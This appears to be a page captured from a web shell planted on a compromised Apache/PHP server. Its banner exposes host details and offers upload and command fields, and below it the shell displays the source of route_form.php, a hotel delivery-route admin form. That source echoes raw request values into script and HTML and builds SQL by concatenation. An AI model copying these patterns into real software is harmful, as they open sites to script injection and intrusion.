403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.134
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/route_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('routes', 'basic_info');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_reload_check();
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'basic_info';
		endif;
		$ar_err = array();
		form_validate('route_code', 'string', true);
		form_validate('route', 'string', true);
		if (!$err_flag) :
			$set = "route_code = ".$db->quote(trim($_POST['route_code'])).", ".
					"route = ".$db->quote(trim($_POST['route'])).", ".
					"route_type = ".nz(trim($_POST['route_type']),'0').", ".
					"comments = ".$db->quote(trim($_POST['comments'])).", ".
					sql_set_update();
			if ($action == 'Edit') :
				$sql = "UPDATE routes set ".$set.
					"WHERE route_id = ".nz($_REQUEST['route_id'], '0')." ";
				$db->query($sql) or die('Database Error!');
				//echo '==='.$sql.'===';
				post_set_update();
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO routes SET ".
						sql_set_create().
						$set;
					//echo '==='.$sql.'===';
					$db->query($sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
					$_POST['route_id'] = $_REQUEST['id'];
					/*
					$_REQUEST['route_id'] = $_POST['route_id'];
					echo '<script>';
					echo 'appstack_switch_param("route_id", "'.$_POST['route_id'].'");';
					echo '</script>';
					$action = 'Edit';
					*/
					post_set_create_update();
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				//echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
				echo "appstack_pop()";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=route_form&ref=".urlencode($_REQUEST['ref'])."'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM routes WHERE route_id = ".nz(trim($_REQUEST['id']), '0')." ";
			$result = $db->query($sql) or die('Database Error!');
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$_POST['route_id'] = $row->route_id;
				$_POST['route_code'] = $row->route_code;
				$_POST['route'] = $row->route;
				$_POST['route_type'] = $row->route_type;
				$_POST['comments'] = $row->comments;
				post_set_load_create_update();
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_driver = function(driver_id)
	{
		$('.route_driver_cell').each(function() {
				//alert($(this).attr('id').substr(7));
				if ($(this).attr('id') == 'driver_' + driver_id)
				{
					if ($('#driver_' + driver_id).prop('checked'))
					{
						var func = 'add';
					}
					else
					{
						var func = 'remove';
					}
					$.ajax({
						url: "ajax.php?call=route_drivers_ajax&func=" + func + "&route=<?php echo nz($_REQUEST['id'], '0'); ?>&driver_id=" + driver_id,
						cache: false,
						dataType: "json",
						headers: {
							"Accept": "application/json"
						},
						success: function(json) {
							if (json.result == 'Success')
							{
								$('#ajax_result_msg').show().text('Updated');
								setTimeout(function() {$('#ajax_result_msg').text('').hide(); }, 300);
							}
							else
							{
								alert(json.result);
							}
						}
						 ,error: function (request, status, error) { alert(status + ", " + error); }
					})
				}
				else
				{
					if ($(this).prop('checked'))
					{
						$(this).prop('checked', false);
						$.ajax({
							url: "ajax.php?call=route_drivers_ajax&func=remove&route=<?php echo nz($_REQUEST['id'], '0'); ?>&driver_id=" + $(this).attr('id').substr(7),
							cache: false,
							dataType: "json",
							headers: {
								"Accept": "application/json"
							},
							success: function(json) {
								if (json.result == 'Success')
								{
									$('#ajax_result_msg').show().text('Updated');
									setTimeout(function() {$('#ajax_result_msg').text('').hide(); }, 300);
								}
								else
								{
									alert(json.result);
								}
							}
							 ,error: function (request, status, error) { alert(status + ", " + error); }
						})
					}
				}
			});
	}
	
	update_header = function()
	{
		if ($("#route").val() > "" )
		{
			$("#header_repeater").text(" - " + $("#route").val());
		}
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>Route - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_route" id="frm_route" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<!--<input name="form_action" type="hidden" value="<?php echo $action; ?>" />-->
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<div id="ajax_result_msg" class="ajax_result_msg"></div>
		<?php
			form_tab_header('basic_info', 'Basic Info', 'admin,verifier,distributor,driver');
			if (!empty($_REQUEST['id'])) :
				form_tab_header('hotels', 'Hotels', 'admin,verifier,distributor,driver');
				form_tab_header('verifications', 'Verifications', 'admin,verifier');
				form_tab_header('drivers', 'Drivers', 'admin,distributor');
				form_tab_header('deliveries', 'Deliveries', 'admin,distributor,driver');
			endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_basic_info">
		<div class="form_header">
			Basic Info
		</div>
		<div class="input_column">
			<?php
				//form_field('route_id', 'text', 10, 0, ( !empty($_REQUEST['route_id']) ? false : true ), false, ( !empty($_REQUEST['route_id']) ? true : false ), '', '', 'route_id', 'Route ID');
				form_field('route_id', 'text', 10, 0, false, false, true, '', '', 'route_id', 'Route ID');
				form_field('route_code', 'text', 5, 0, true, false, false, '', '', 'route_code', 'Route Code', array(), '', 'update_header();');
				form_field('route', 'text', 75, 0, true, false, false, '', '', 'route', 'Route', array(), '', 'update_header();');
				$ar_type = array('1'=>'Night', '2'=>'Day', );
				form_field('route_type', 'radiogroup', 50, 0, false, false, false, '', '', 'route_type', 'Route Type', $ar_type);
				form_field('comments', 'textarea', 70, 9, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
	</div>
	<?php 
		if (!empty($_REQUEST['id'])) :
	?>
		<!-- -------------------------------------------------------------------------------------------------------------- -->
		<div class="tab_content" id="tab_content_hotels">
			<div class="form_header">
				Hotels
			</div>
			<?php
				$ix_form = 'hotel_form&route_id='.trim($_REQUEST['id']);
				db_navigator_bar(array('table_id'=>'db_grid_hotels', 'form'=>$ix_form, 'print_section'=>'db_grid_hotels', 'call'=>'route_hotels_ajax', 'sort_col'=>'1', 'sort_order'=>'0', 'subtab'=>'true', 'parm1'=>" AND h.route_id = ".nz($_REQUEST['id'], '0')." ", 'func'=>'grid' ));
			?>
		</div>
		<!-- -------------------------------------------------------------------------------------------------------------- -->
		<div class="tab_content" id="tab_content_verifications">
			<div class="form_header">
				Verifications
			</div>
			<?php
				$ix_form = 'hotel_form&route_id='.trim($_REQUEST['id']);
				db_navigator_bar(array('table_id'=>'db_grid_verifications', 'form'=>$ix_form, 'print_section'=>'db_grid_verifications', 'call'=>'route_verifications_ajax', 'sort_col'=>'2', 'sort_order'=>'0', 'subtab'=>'true', 'parm1'=>" AND h.route_id = ".nz($_REQUEST['id'], '0')." ", 'func'=>'grid' ));
			?>
		</div>
		<!-- -------------------------------------------------------------------------------------------------------------- -->
		<div class="tab_content" id="tab_content_drivers">
			<div class="form_header">
				Drivers
			</div>
			<?php
				$ix_form = 'driver_form&route_id='.trim($_REQUEST['id']);
				db_navigator_bar(array('table_id'=>'db_grid_drivers', 'form'=>$ix_form, 'print_section'=>'db_grid_drivers', 'call'=>'route_drivers_ajax', 'sort_col'=>'1', 'sort_order'=>'0', 'subtab'=>'true', 'parm1'=>" AND rd.route_id = ".nz($_REQUEST['id'], '0')." ", 'func'=>'grid' ));
			?>
		</div>
		<!-- -------------------------------------------------------------------------------------------------------------- -->
		<div class="tab_content" id="tab_content_deliveries">
			<div class="form_header">
				Deliveries
			</div>
			<?php
				$ix_form = 'hotel_form&route_id='.trim($_REQUEST['id']);
				db_navigator_bar(array('table_id'=>'db_grid_deliveries', 'form'=>$ix_form, 'print_section'=>'db_grid_deliveries', 'call'=>'route_deliveries_ajax', 'sort_col'=>'2', 'sort_order'=>'0', 'subtab'=>'true', 'parm1'=>" AND r.route_id = ".nz($_REQUEST['id'], '0')." ", 'func'=>'grid' ));
			?>
		</div>
		<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php 
		endif;
	?>
	<?php form_button_strip('bottom'); ?>
</form>



Youez - 2016 - github.com/yon3zu
LinuXploit